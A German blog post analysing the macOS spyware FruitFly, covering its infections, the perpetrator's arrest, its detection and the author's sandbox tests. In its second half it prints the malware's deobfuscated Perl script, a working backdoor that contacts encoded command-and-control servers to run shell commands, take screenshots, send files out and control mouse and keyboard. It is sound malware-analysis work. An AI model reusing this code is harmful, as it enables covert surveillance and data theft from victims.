FruitFly

Ich hatte mich Mitte 2017 mit Versionen einer Mac-Malware beschäftigt, die im Wesentlichen in zwei Versionen aufgetaucht war:

Extra für diese Malware habe ich die Grundlagen von Perl und vom Perl-Debugging gelernt, um nachvollziehen zu können, was hier passiert. Hilfreich waren dabei auch Scalar and List context in Perl, the size of an array, ein Online Perl-Formatter, eine weitere Perl - Introduction, und Range Operators in Perl.

Um sicherzugehen, daß ich alles richtig verstehe, habe ich mir die Schädlinge nicht nur selbst angesehen, sondern auch über teils private Twitter-Nachrichten bei Thomas Reed, Patrick Wardle und Al Varnell nachgefragt.

In the wild

Die Backup Domains der Malware waren nicht registriert. Patrick hat sie dann selbst registriert. Die aktive Malware auf den Opfer-Rechnern verbindet sich mit diesen Backup-Servern, weil die primären C&C Server offline sind. Ohne ihre Command and Control Server tut die Malware nichts. Zum Entdeckungszeitpunkt war sie also sozusagen schon nicht mehr in Benutzung. Die Malware sendet Computer-Name, User-Name, Malware-Version und fragt immer wieder nach Aufgaben. Sensible Informationen schickt die Malware erst raus, wenn sie die Aufgabe dazu bekommt.

Als er seine Test-Server auf den Backup-Domains aktivierte, meldeten sich innerhalb von zwei Tagen circa 400 infizierte Macs und fragten nach Kommandos. Damit hat man dann auch ein Maß für die Infektionsmenge und die geographische Verteilung der Infektionen. Fast alle, genauer gesagt 90% der Opfer sind demanch in den USA oder Kanada. Patrick beobachtete ein gruppiertes geographisches Auftreten, so waren zum Beispiel über 20% dieser Infektionen in Ohio.

Patrick hat die Polizei über die betroffenen User und die verwendeten Server informiert. Er hat der draußen installierten Malware keine Aufgaben gegeben, so daß keine User von ihm gefährdet wurden und insbesondere keine sensiblen Daten abgefragt wurden.

Zweck der Malware

Der Zweck, der mit den vorliegenden Infektionen von FruitFly verfolgt wurde, ist nicht 100%ig klar. Es konnte zwar geklärt werden, was die Malware kann, aber nicht, warum sie bei bestimmten Rechnern eingesetzt wurde.

Thomas Reed hatte aufgrund er ihm bekannt gewordenen Infektionen den Eindruck, FruitFly.A würde zur Wirtschaftsspionage gegen US-amerikanische Bio-Medizinische Forschungs-Zentren eingesetzt.

Patrick Wardle sagt, an FruitFly.B sei interessant, daß es einerseits Features hat, die eine staatliche Malware haben würde, wie Überwachung und Fernsteuerung, andererseits jedoch auf ganz normale Leute angesetzt wurde, die üblicherweise von Cyber-Crime-Malware wie Erpressungs-Software oder zusätzlicher Werbung bedroht würden. FruitFly hat jedoch keine Cyber-Crime-Features. Darum glaubt Patrick Wardle, daß die Aufgabe von FruitFly war, normale Leute auszuspionieren, und daß es von einem perversen Einzel-Individuum eingesetzt wurde.

Update: Täter festgenommen

Patricks begründeter Verdacht stellte sich als richtig heraus.

Am 10. Januar 2018 gab Patrick Wardle auf Twitter bekannt, daß das FBI einen tatverdächtigen Mann festgenommen hat.

Er schreibt, die Malware war 13 Jahr lang im Einsatz, um ahnungslose Leute zu beobachten und zu belauschen und um Kinderpornos zu produzieren.

Die Seite des Justizministeriums berichtet:

Der namentlich genannte Täter habe die Malware erstellt und auf tausenden Computern installiert im Laufe von mehr als 13 Jahren, um ahnungslose Leute zu beobachten, abzuhören, Identitäten (Logins) zu stehlen und persönliche Daten abzugreifen sowie Kinderpornos zu produzieren. Die gestohlenen Daten umfassen Logins, Steuern, medizinische Berichte, Photos, Bankauszüge, Internetsuchanfragen, kompromittierende Unterhaltungen. Die gestohlenen Logins wurden verwendet, um auf diversen Webseiten auf private Daten zuzugreifen.

Die Malware habe ihm auch Bescheid gegeben, wenn nach Pornos gesucht wurde. Er habe Millionen von Bildern (von Webcams) gespeichert und oft detailliert notiert, was er gesehen hat.

Er habe FruitFly entwickelt und auf den Computern von Tausenden Amerikanern installiert. Er habe seine Cyber-Fähigkeiten eingesetzt, um zahlreiche Systeme und individuelle Computer zu kompromittieren.

Infektionsweg lange unbekannt

Es ist kein Installer / Dropper / Infektionsweg gefunden worden. Niemand weiß, wie FruitFly auf die Rechner gekommen ist. Denkbar ist ein Trojanisches Pferd oder manueller Zugriff. Eventuell gab es danach durch manuelle Fernsteuerung eine Verbreitung auf andere Rechner im selben lokalen Netz. Patrick geht davon aus, daß irgendeine Form von User-Aktion zur Installation der Malware nötig sein mußte, da sie selbst zwar eine vollständige Fernsteuerung des Macs anbietet, aber nicht besonders raffiniert programmiert ist. Daß dann ausgerechnet der Infektionsweg besonders intelligent wäre, hält er für unwahrscheinlich. Die Nutzung eines Exploits schließt Patrick aus.

Nach Festnahme des Täters klingt es danach, als habe er die Geräte tatsächlich händisch kompromittiert.

Update 30. September 2018: Infektionsweg remote, schwache Paßworte

Nach der Festnahme des Täters wurde bekannt, wie die Malware auf die Macs kam: Er hat mit Hilfe eines Portscanners nach aktiven Fernzugriffdiensten gesucht wie zum Beispiel Apple Filing Protocol (AFP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), Secure Shell (SSH) und Back to My Mac (BTMM). Wenn er solche Dienste gefunden hatte, probierte er schwache Paßworte bzw. Paßworte, die von anderen erbeutet wurden, aus, um Zugriff zu erlagen. In manchen Fällen hatten die Opfer gar kein Paßwort gesetzt. Nachdem er so Fernzugriff erlangt hatte, installierte er darüber manuell seine Malware.

Es handelt sich also klar um User-Dummheit. Out-of-the-Box wäre jeder betroffene Mac sicher gewesen, denn keiner der Dienste ist per Default aktiv und einige davon wie RDP (Microsoft) und VNC muß man erstmal selbst installieren. Wenn man nun Fernzugriff auf seinen Mac aktiviert und dann kein oder ein leicht zu erratenes Paßwort setzt, dann kann einem auch keiner mehr helfen.

Erkennung

Kein Antivirus-Programm war in der Lage, auch nur irgendeine Version von FruitFly zu erkennen, was mich in keiner Weise wundert. Einige Code-Teile, die veraltete Funktionen benutzen, deuten darauf hin, daß diese Malware sogar schon unentdeckt 5-10 Jahre im Einsatz war. Ein Faktor dabei mag ihre geringe Verbreitung gewesen sein. Jedenfalls wurde die Malware erst durch menschliche Beobachtung entdeckt und anschließend zur Signatur-Erstellung an die AV-Hersteller verfüttert.

Die Tools von Patrick hätten hingegen Alarm geschlagen, da beispielsweise Knock Knock die Installation des LaunchAgents aufgefallen wäre. Patricks Tools versuchen nicht direkt Malware zu erkennen, sondern melden bestimmtes Verhalten auf dem Rechner, zum Beispiel, wenn Dienste installiert werden, die ein dauerhaftes Laufen von Software ermöglichen. Das ist dann nicht zwingend Malware, aber wenn die Signatur eines LaunchAgents halt keine koschere Herkunft zeigt, kann man nachdenklich werden. Und Patricks Oversight hätte die Nutzung der Webcam durch einen komischen Prozeß angezeigt. Zwar ist auf den Macs der letzten Jahre kein Weg bekannt, die Kamera ohne aktive LED zu nutzen, allerdings hat FruitFly eine Erkennung, ob der User aktiv ist und sie vielleicht nur angeschaltet, wenn niemand vor dem Rechner sitzt. Patrick spekuliert, daß die Kamera angeschaltet wurde, um den User in Unterwäsche im Schlafzimmer zu erwischen oder dergleichen. Der Alarm wäre dem User dann aufgefallen.

Thomas schreibt "Apple calls this malware Fruitfly and has released an update that will be automatically downloaded behind the scenes to protect against future infections" Apple hätte ein automatisches Update rausgeschickt, das gegen zukünftige Infektionen schützen soll. Auch in verschiedenen Nachrichten war zu lesen, Apple habe XProtect um FruitFly ergänzt. Das stimmt aber offenbar nicht. Erstens sehe ich FruitFly nicht in XProtect z. B. mit WallsOfTroy und zweitens kann auch XProtect diese Infektion nicht verhindern, weil man in diesem Fall den Infektionsweg und das Installationsprogramm gar nicht kennt. XProtect vergleicht ja nur heruntergeladene Dateien vor der Ausführung mit den (zur Zeit unter 100) relevanten Schädlingen.

Apples Malware Removal Tool (MRT) hingegen, das ich als dedizierten Killer bezeichnet habe, wurde laut Tests, die Al Varnell gemacht hat (Kopie im Archiv), aktualisiert, und löschte nach User Login den LaunchAgent und die von diesem zu startenden Datei von FruitFly.A. Im Zuge von FruitFly.B wurde das MRT mindestens noch einmal verbessert. Man konnte dann im system.log sehen, daß es harmlose Dateien von FruitFly unterscheiden konnte an den Stellen, wo die FruitFly-Dateien typischerweise liegen.

Funktion

FruitFly ermöglicht Fernüberwachung und Fernsteuerung von Macs. FruitFly besteht aus einem LaunchAgent und einem Skript mit eingebetteten Binärdateien.

Patrick kam FruitFly ganz gelegen, um zwei andere Analyse-Techniken auszuprobieren, denn die gängigen Methoden, Disassembling, Debugging und Reverse Engineering sind relativ langsam. Seine Vorträge über FruitFly dienen zum großen Teil der Vorstellung dieser Analyse-Techniken:

Nachdem er sich einen Überblick über die Malware verschafft hatte, war ihm klar: Die Malware erleichtert ihre Analyse dadurch, daß sie beim Start optional einen Port oder eine Adresse und einen Port als Eingabe nimmt, und diese als Command-and-Control Server nutzt. Man muß also nicht einmal DNS-Einträge umleiten, um mit ihr zu kommunizieren.

Wenn keine Parameter angeben werden, versucht sie von den primären Kontroll-Servern Befehle zu bekommen, ansonsten von Backup-Kontroll-Servern.

Wenn sie nun auf die eine oder andere Art einen Server kontaktieren konnte, dann erwartet sie von diesem eine Nummer als Antwort. Diese Nummer entspricht jeweils einer Stelle in ihrem Code, zu der sie dann springt. FruitFly versteht 25 verschiedene Kommandos und wenn man die Subroutinen dazunimmt, sind es 50.

Die Malware fragt diesen Server immer wieder nach einer Zahl als Input und führt dann eine dieser Zahl zugeordnete Aktion aus. Manche Kommunikation hat auch zusätzliche Parameter. Durch Ausprobieren der Befehle und Überwachen mit eigenen und anderen Tools hat Patrick dann die Funktion der Malware aufklären können ohne viel Aufwand zu treiben mit Reverse Engineering, Debugging oder Disassembling.

Ich habe das Perl Skript testweise in einer Sandbox ausgeführt, die jeden Netzwerkverkehr und Dateienschreiben verhindert:

sandbox-exec -p "(version 1) (allow default) (deny network*) (deny file-write*) (debug deny)" perl FruitFly

Da die Kontroll-Server offline sind, passierte danach nicht viel. Man sieht jedoch in Console.app periodisch versuchte Aktionen der Malware wie Bonjour-Anfragen, die das lokale Netz erkunden könnten, und Anfragen auf dem SSH-Port 22, der zur Kommunikation mit eventuellen Kontroll-Servern benutzt wird:

Sandbox: perl5.18(11587) deny(1) network-outbound /private/var/run/mDNSResponder
Sandbox: perl5.18(11587) deny(1) network-outbound *:22

Patrick hat mir dann gesagt, er wäre nicht vertraut mit der Sandbox-Funktion von macOS und ich solle es mal mit tcpdump probieren. Damit war dann zu sehen, daß einmal pro Minute versucht wurde, mit eidk.hopto.org Kontakt aufzunehmen wie in Patricks Folien beschrieben:

bash-3.2# tcpdump port 53
tcpdump: data link type PKTAP
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes
13:28:48.212830 IP 192.168.0.105.57066 > 192.168.0.1.domain: 61312+ A? eidk.hopto.org. (32)
13:28:48.245352 IP 192.168.0.1.domain > 192.168.0.105.57066: 61312 1/0/0 A 127.0.0.1 (48)
13:29:48.475431 IP 192.168.0.105.61975 > 192.168.0.1.domain: 59272+ A? eidk.hopto.org. (32)
13:29:48.504017 IP 192.168.0.1.domain > 192.168.0.105.61975: 59272 1/0/0 A 127.0.0.1 (48)

Auf eidk.hopto.org scheint (inzwischen) ein macOS Server zu laufen. Die Adressen der Server werden nach localhost aufgelöst, weil sie offline sind. Da sie keine Kommandos bekommen kann, schläft die lokale Malware.

Ich habe das Perl-Skript auch auf einer Test-Maschine ohne Sandboxing ausprobiert. Ich konnte anschließend keine verdächtigen LaunchAgents finden, Patricks KnockKnock Tool sagt, daß die Maschine sauber ist und Patricks BlockBlock schlug auch keinen Alarm. Die Malware tut also ohne ihre Kommando-Server tatsächlich nichts weiter als abzuwarten, ob die Server irgendwann erreichbar sind.

Wenn man FruitFly.B als Text-Datei öffnet, zeigt sich das Perl-Skript, was ziemlich unleserlich ist durch Nicht-Formatierung und vollkommen sinnlose Variablen- und Subroutinen-Namen sowie die eingebetteten binären Inhalte. Abhängig vom Kontroll-Server werden die binären Inhalte (Mach-O) als verschiedene Dateien entpackt und dann ausgeführt. Sie sind Teil der Malware. Die Malware ändert direkt nach dem Start ihren Prozeßnamen, der beispielsweise durch ps angezeigt wird, in "java", was weniger verdächtig wirkt als das zum Starten verwendete Perl-Skript. Um Mißverständnissen vorzubeugen: FruitFly verwendet kein Java. Die Aktivitätsanzeige von macOS läßt sich durch die Umbenennung jedoch nicht täuschen und zeigt weiter das Perl-Kommando an.

Basierend auf der Analyse von Patrick Wardle habe ich den Logikteil der Malware, der aus dem Perl-Skript besteht, schön formatiert, die wichtigsten Variablen und die Subroutinen mit sinnvollen Namen versehen, Kommentare einfügt und die binären Inhalte entfernt.

Führt man die Malware aus, passiert wie gesagt zur Zeit nichts, weil die Kommando-Server abgeschaltet bzw. unter Kontrolle der guten Jungs stehen und in diesem Code die eingebetteten Hilfs-Dateien fehlen. Man kann hier allerdings schon beim Überfliegen des Quelltextes grob einen Eindruck bekommen, was die Malware so an Features bietet:

CRIME SCENE DO NOT CROSS        CRIME SCENE DO NOT CROSS        CRIME SCENE DO NOT CROSS        CRIME SCENE DO NOT CROSS        CRIME SCENE DO NOT CROSS        CRIME SCENE DO NOT CROSS        CRIME SCENE DO NOT CROSS        CRIME SCENE DO NOT CROSS
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
use IPC::Open2;
my $l;
# G
sub sendDataToCcServer { die if !defined syswrite $l, $_[0] }

# J
sub readDataFromCcServer {
    my ( $U, $A ) = ( '', '' );
    while ( $_[0] > length $U ) {
        die
        if !sysread $l, $A, $_[0] - length $U;
        $U .= $A;
    }
    return $U;
}
# O
sub readIntegerFromCcServer { unpack 'V', readDataFromCcServer 4 }
# N
sub readVariableLengthDataFromCcServer { readDataFromCcServer readIntegerFromCcServer }
# H
sub readDataFromCcServerAndFormat { my $U = readVariableLengthDataFromCcServer; $U =~ s/\\/\//g; $U }
# I
sub evalString {
    my $U = eval { my $C = `$_[0]`; chomp $C; $C };
    $U = '' if !defined $U;
    $U;
}
# K
sub isTrue { $_[0] ? v1 : v0 }
# Y
sub packInteger { pack 'V',    $_[0] }
# B
sub splitAndPackInteger { pack 'V2',   $_[0] / 2**32, $_[0] % 2**32 }
# Z
sub packVarLengthData { pack 'V/a*', $_[0] }
# M
sub xorStringWith3 { $_[0] ^ ( v3 x length( $_[0] ) ) }

#decode c&c primary servers
my (  $ccPort, @r ) = split /a/,
    xorStringWith3('11b36-301-;;2-45bdql-lwslk-hgjfbdql-pmgh`vg-hgjf');
push @r, splice @r, 0, rand @r;

#decode c&c backup servers
my @e = ();
for my $B ( split /a/, xorStringWith3('1fg7kkb1nnhokb71jrmkb;rm`;kb1fplifeb1njgule') ) {
    push @e, map $_ . $B, split /a/, xorStringWith3('dql-lwslk-bdql-pmgh`vg-');
}
push @e, splice @e, 0, rand @e;

#save port, or addr:port
if ( @ARGV == 1 ) {
    if ( $ARGV[0] =~ /^\d+$/ ) {  $ccPort = $ARGV[0] }
    elsif ( $ARGV[0] =~ /^([^:]+):(\d+)$/ ) {
        (  $ccPort, @r ) = ( $2, scalar reverse $1 );
    }
}

# 'change' process name (to be shown as "java" in Terminal and the ps tool
# and not as the this suspicious "perl ")
$0 = 'java';
$SIG{PIPE} = 'IGNORE';
my ( $P, $H, $Q, $O ) = (0);

#decode embedded binary data

#assign
my $u = join '', ;

#decode
my $W = pack 'H*', 'b02607441aa086';
$W x= 1 + length($u) / length($W);
$u ^= substr $W, 0, length $u;

#expand
$u =~ s/\0(.)/v0 x(1+ord$1)/seg;
my $M = xorStringWith3(',wns,`ojfmw');
my $b = xorStringWith3(',wns,`ojfmw');
my $z = $^O eq 'darwin';
$SIG{HUP} = 'IGNORE';

#forever
for ( my ( $x, $n, $q ) = ( 10, 0, 0 ) ; ; sleep $x ) {
    $x = 10;
    $x = 30 if $n > 9;
    $x = 60 if $n > 49;
    $x = 120 if $n > 99;
    $n++;
    my  $reversedCcAddress;
    my $c = $n % 10;
    if   ($c) {  $reversedCcAddress = shift @r; push @r,  $reversedCcAddress; }
    else      {  $reversedCcAddress = shift @e; push @e,  $reversedCcAddress; }
    
    #connect to C&C server
    $l = new evalStringO::Socket::INET(
        PeerAddr => scalar( reverse  $reversedCcAddress ),
        PeerPort =>  $ccPort,
        Proto    => 'tcp',
        Timeout  => 10
    );
    if ( !$l ) { $q = 1 if $c && $! eq 'Invalid argument'; next; }
    eval {
        local $SIG{ALRM} = sub { die };
        my ( $w, $Y ) = ( 0, '' );
        $O = 0;
        
        #send client data
        sendDataToCcServer v1
        . packInteger(1143)
        . packInteger( $q ? 128 : 0 )
        . packVarLengthData( ( $z ? evalString('scutil --get LocalHostName') : '' ) || evalString('hostname') )
        . packVarLengthData( evalString('whoami') );
        
        #forever
        for ( ; ; ) {
            alarm 300;
            #get & process cmd
            my  $command = ord readDataFromCcServer 1;
            alarm 900;
            # do nothing
            if (  $command == 0 ) { }
            # screen capture via /tmp/client
            elsif (  $command == 2 ) {
                my ( $Z, $C ) = ( readDataFromCcServer 1 );
                if (   !$O
                    && saveEmbeddedBinaryToDiskAndExecWithParamsViaStdin( v2 . $Z )
                    && defined( $C = readBytesFromProcess(4) )
                    && defined( $C = readBytesFromProcess( unpack 'V', $C ) ) )
                {
                    sendDataToCcServer v2 . packVarLengthData($C);
                }
                # Send screenshots
                elsif (
                !system(
                (
                $z
                ? 'screencapture -x '
                : 'xwd -silent -root -display :0.0|convert xwd:- '
                )
                . ( $C = '/tmp/s.png' )
                )
                )
                {
                    my $R = readFromFile($C);
                    unlink $C;
                    if   ( defined $R ) { sendDataToCcServer v2 . packVarLengthData($R) }
                    else                { sendDataToCcServer v0.2 }
                }
                else { sendDataToCcServer v0.23 }
            }
            # screen bounds, mouse location
            elsif (  $command == 3 ||  $command == 7 ) {
                my $C;
                if   ( saveEmbeddedBinaryToDiskAndExecWithParamsViaStdin( chr  $command ) && defined( $C = readBytesFromProcess(8) ) ) { sendDataToCcServer chr( $command) . $C }
                else                                         { sendDataToCcServer v0.23 }
            }
            # Host uptime
            elsif (  $command == 4 ) {
                my $X = 0;
                if ($z) {
                    my $C = evalString('uptime');
                    if ( $C =~ /up (\d+ days?, |)\s*(\d+)(:\d+,| min)/ ) {
                        my ( $i, $j ) = ( $1, $3 );
                        $X = $2;
                        $X = $X * 60 + $1 if $j =~ /^:(\d+)/;
                        $X += $1 * 24 * 60 if $i =~ /^(\d+)/;
                        $X *= 60 * 1000;
                    }
                }
                else {
                    my $C = evalString('cat /proc/uptime');
                    $X = int( $1 * 1000 ) if $C =~ /^([0-9\.]+)/;
                }
                sendDataToCcServer v4 . packInteger($X);
            }
            # Evaluate Perl statement
            elsif (  $command == 6 ) {
                my $C = readVariableLengthDataFromCcServer;
                sendDataToCcServer v6;
                $C = eval $C;
                if ( !$@ ) { $C =~ s/\r\n/\n/g; $C =~ s/\n/\r\n/g; }
                sendDataToCcServer v12.8 . packVarLengthData('{command}') . packVarLengthData( $@ ? "*** $@ ***" : "{{{$C}}}" );
            }
            # Mouse action (left, right, click, double click)
            elsif (  $command == 8 ) {
                my ( $Z, $C ) = ( readDataFromCcServer 9 );
                if ( saveEmbeddedBinaryToDiskAndExecWithParamsViaStdin( v8 . $Z ) && defined( $C = readBytesFromProcess(1) ) ) {
                    sendDataToCcServer( ord($C) ? v8 : v0.10 );
                }
                else { sendDataToCcServer v0.23 }
            }
            # Working directory
            elsif (  $command == 11 ) { sendDataToCcServer v11 . packVarLengthData( evalString('pwd') ) }
            # File actions
            elsif (  $command == 12 ) {
                my $Z = ord readDataFromCcServer 1;
                my ( $S, $p ) = ( readDataFromCcServerAndFormat, '' );
                # does file exist?
                if    ( $Z == 0 ) { $p = isTrue( -e $S ) }
                # delete file
                elsif ( $Z == 1 ) { $p = isTrue( unlink $S ) }
                # rename (move) file
                elsif ( $Z == 2 ) { my $N = readDataFromCcServerAndFormat; $p = packVarLengthData($N) . isTrue( rename $S, $N ) }
                # copy file
                elsif ( $Z == 3 ) {
                    use File::Copy;
                    my $N = readDataFromCcServerAndFormat;
                    $p = packVarLengthData($N) . isTrue( copy $S, $N );
                }
                # size of file
                elsif ( $Z == 4 ) { $p = packInteger( -s $S ) }
                elsif ( $Z == 5 ) { $p = packInteger(0) }
                # read and exfiltrate file
                elsif ( $Z == 6 ) {
                    my $R = readFromFile($S);
                    $p = defined($R) ? packVarLengthData($R) : "\377" x 4;
                }
                # write file
                elsif ( $Z == 7 ) { my $V = readVariableLengthDataFromCcServer; $p = isTrue( writeDataToFile( $S, $V ) ) }
                # 8: file attributes (ls -a)
                # 9: file attributes (ls -al)
                elsif ( $Z == 8 || $Z == 9 ) {
                    my $C = evalString( 'ls -a' . ( $Z == 9 ? 'l' : '' ) . " \"$S\"" );
                    $C =~ s/\r?\n/\r\n/g;
                    $p = packVarLengthData($C);
                }
                else { die }
                sendDataToCcServer v12 . chr($Z) . packVarLengthData($S) . $p;
            }
            # malware's script location
            elsif (  $command == 13 ) {
                use FindBin '$Bin', '$Script';
                sendDataToCcServer v13 . packVarLengthData("$Bin/$Script");
            }
            # execute command in background
            elsif (  $command == 14 ) { sendDataToCcServer v14 . isTrue( !system readVariableLengthDataFromCcServer . ' &' ) }
            # Keyboard events, 16: key down, 17: key up
            elsif (  $command == 16 ||  $command == 17 ) {
                my $Z = readDataFromCcServer 1;
                sendDataToCcServer(v0.23)
                if !V( chr( $command) . $Z );
            }
            # kill malware's process
            elsif (  $command == 19 ) { exit }
            elsif (  $command == 20 ) { sendDataToCcServer v20 . isTrue( !system readVariableLengthDataFromCcServer ) }
            # process list
            elsif (  $command == 21 ) {
                my $C =
                `ps -eAo pid,thcount,ppid,nice,user,command 2>/dev/null`;
                $C = `ps -eAo pid,ppid,nice,user,command 2>/dev/null` if !$C;
                my @v = ();
                if ( !$C ) { push @v, [ 0, 0, 0, 0, "*** ps failed ***" ] }
                elsif (
                $C =~ /^\s*PID(|\s+THCNT)\s+PPID\s+NI\s+USER\s+COMMAND/ )
                {
                    my ( $f, $G ) = ( $1, 999000 );
                    my $A = $f ? qr/(\d+)\s+/ : qr/()/;
                    my @E = split /\n/, $C;
                    shift @E;
                    for (@E) {
                        my ( $J, $I, $s, $T, $m ) =
                        ( $G++, 0, 0, 0, "*** $_ ***" );
                        if (/^\s*(\d+)\s+$A(\d+)\s+([0-9-]+)\s+(\S+)\s+(.*)$/) {
                            ( $J, $I, $s, $T, $m ) =
                            ( $1, $2, $3, $4, "$5 :: $6" );
                            $I = 0  if !$f;
                            $T = 20 if $T !~ /\d/;
                            $T = 20 - $T;
                        }
                        push @v, [ $J, $I, $s, $T, $m ];
                    }
                }
                else { push @v, [ 0, 0, 0, 0, "*** strange header ***" ] }
                sendDataToCcServer v21.1;
                sendDataToCcServer v21.2
                . packInteger(296)
                . packInteger(0)
                . packInteger( $_->[0] )
                . packInteger(0)
                . packInteger(0)
                . packInteger( $_->[1] )
                . packInteger( $_->[2] )
                . packInteger( $_->[3] )
                . packInteger(0)
                . pack( 'Z260', $_->[4] )
                for @v;
                sendDataToCcServer v21.0;
            }
            # Kill process
            elsif (  $command == 22 ) {
                my $J = readIntegerFromCcServer;
                sendDataToCcServer v22 . packInteger($J) . ( system("kill $J") ? v2 : v0 );
            }
            # Read string (command not fully implemented?)
            elsif (  $command == 26 ||  $command == 46 ) { readVariableLengthDataFromCcServer }
            # Directory actions
            elsif (  $command == 27 ) {
                my $Z = ord readDataFromCcServer 1;
                if ( $Z == 0 ) { sendDataToCcServer 27.0.0 }
                elsif ( $Z == 2 ) {
                    use bignum;
                    my $o = readDataFromCcServerAndFormat;
                    sendDataToCcServer v27.2 . packVarLengthData($o);
                    $o .= '/' if $o !~ /\/$/;
                    if ( opendir D, $o ) {
                        my @v = grep !/^\.\.?$/, readdir D;
                        closedir D;
                        for (@v) {
                            my @K = stat $o . $_;
                            if ( !@K ) {
                                sendDataToCcServer v1 . ( "\0" x 28 ) . splitAndPackInteger( -s $o . $_ ) . packVarLengthData($_);
                            }
                            else {
                                sendDataToCcServer v1
                                . packInteger( ( $K[2] & 0x4000 ) ? 0x10 : 0 )
                                . join(
                                '',
                                map {
                                    my ( $t, $U ) = (
                                    ( $_ + 11644473600 ) * 10000000, ''
                                    );
                                    for ( 1 .. 8 ) {
                                        $U .= chr( $t % 256 );
                                        $t = ( $t - $t % 256 ) / 256;
                                    }
                                    $U;
                                } @K[ 10, 8, 9 ]
                                )
                                . splitAndPackInteger( $K[7] )
                                . packVarLengthData($_);
                            }
                        }
                        sendDataToCcServer v0;
                    }
                    else { sendDataToCcServer 0.0.9 }
                }
                else { die }
            }
            # Read Byte (command not fully implemented?)
            elsif (  $command == 29 ) { my $Z = ord readDataFromCcServer 1; sendDataToCcServer 29.3.0; }
            # Reset connection to trigger reconnect
            elsif (  $command == 30 ) {
                my $Z = ord readDataFromCcServer 1;
                ( $x, $n, $q ) = ( 1, 0, 0 );
                if ( $Z == 1 ) { $w = 0; $Y = ''; sendDataToCcServer v30.1; }
                else           { sendDataToCcServer v30.3 . chr($w) }
            }
            # Get host by name
            elsif (  $command == 35 ) {
                my ( $t, $v, $X, $k, @v ) = gethostbyname(readVariableLengthDataFromCcServer);
                if ($t) {
                    sendDataToCcServer v35
                    . packVarLengthData($t)
                    . join( '', map packVarLengthData($_), split / /, $v )
                    . packInteger(0)
                    . packInteger($X)
                    . packInteger( scalar @v )
                    . packInteger($k)
                    . join( '', @v );
                }
                else { sendDataToCcServer v0.25 }
            }
            # String action
            elsif (  $command == 43 ) {
                my $C = readVariableLengthDataFromCcServer;
                sendDataToCcServer v43;
                my $A;
                # Set alert to trigger when user is active
                if ( $C eq 'alert' ) { ( $w, $Y, $A ) = ( 1, '', 'started' ) }
                # Toggle method of screen capture
                elsif ( $C eq 'scrn' ) {
                    $A = 'using ' . ( ( $O = !$O ) ? 'backup' : 'client' );
                }
                # Malware version
                elsif ( $C eq 'vers' ) { $A = '11.43.0' . '|co4E8PqO'; }
                # Execute shell command
                else {
                    my $d = `$C`;
                    $d =~ s/\r?\n/\r\n/g if $d;
                    $A = defined($d) ? "{{{$d}}}" : "*** $C ***";
                    $C = 'command';
                }
                sendDataToCcServer v12.8 . packVarLengthData("{$C}") . packVarLengthData($A);
            }
            # Connect to host
            elsif (  $command == 47 ) {
                my ( $A, $a, $F ) = ( 0, readVariableLengthDataFromCcServer, readIntegerFromCcServer );
                $a = 'localhost' if !length $a;
                my $C = new evalStringO::Socket::INET(
                PeerAddr => $a,
                PeerPort => $F,
                Proto    => 'tcp',
                Timeout  => 2
                );
                if ( !$C ) {
                    $A = {
                        'Operation now in progress' => 10060,
                        'Connection refused'        => 10061
                    }->{$!}
                    || 1;
                }
                else { close $C }
                sendDataToCcServer v47 . packVarLengthData($a) . packInteger($F) . packInteger($A);
            }
            else { sendDataToCcServer 0.255.0 . packInteger( $command); die }
            if ($w) {
                my $L;
                if ( saveEmbeddedBinaryToDiskAndExecWithParamsViaStdin(v7) && defined( $L = readBytesFromProcess(8) ) && $L ne $Y ) {
                    if ( length $Y ) { sendDataToCcServer v30.2; $w = 0; }
                    else             { $Y = $L }
                }
            }
        }
        alarm 0;
    };
    alarm 0;
    close $l;
}

# W
sub readFromFile {
    open F, '<', $_[0] or return undef;
    binmode F;
    my $U = join '', ;
    close F;
    return $U;
}

# S
sub writeDataToFile {
    open F, '>', $_[0] or return undef;
    binmode F;
    print F $_[1] or return undef;
    close F;
    return 1;
}

# R
sub closeProcessHandles {
    if ($P) { close $H; close $Q; waitpid $P, 0; }
    $P = 0;
    return undef;
}

# V
sub saveEmbeddedBinaryToDiskAndExecWithParamsViaStdin {
    alarm 30;
    if ( !$P ) {
        alarm 120;
        return undef if !$u || !S( $M, $u );
        chmod 0777, $M;
        $P = open2( $H, $Q, $b );
        if ( !$O ) { sleep 1; unlink $M }
    }
    return undef if !$P;
    return 1 if defined syswrite $Q, $_[0];
    return closeProcessHandles();
}

# E
sub readBytesFromProcess {
    return undef if !$P;
    my ( $U, $A ) = ( '', '' );
    while ( $_[0] > length $U ) {
        return closeProcessHandles() if !sysread $H, $A, $_[0] - length $U;
        $U .= $A;
    }
    return $U;
}
# embedded binary data
__DATA__

Valid XHTML 1.0!

Besucherzähler


Latest Update: 09. October 2022 at 10:48h (german time)
Link: macmark.de/blog/osx_blog_2017-12-a.php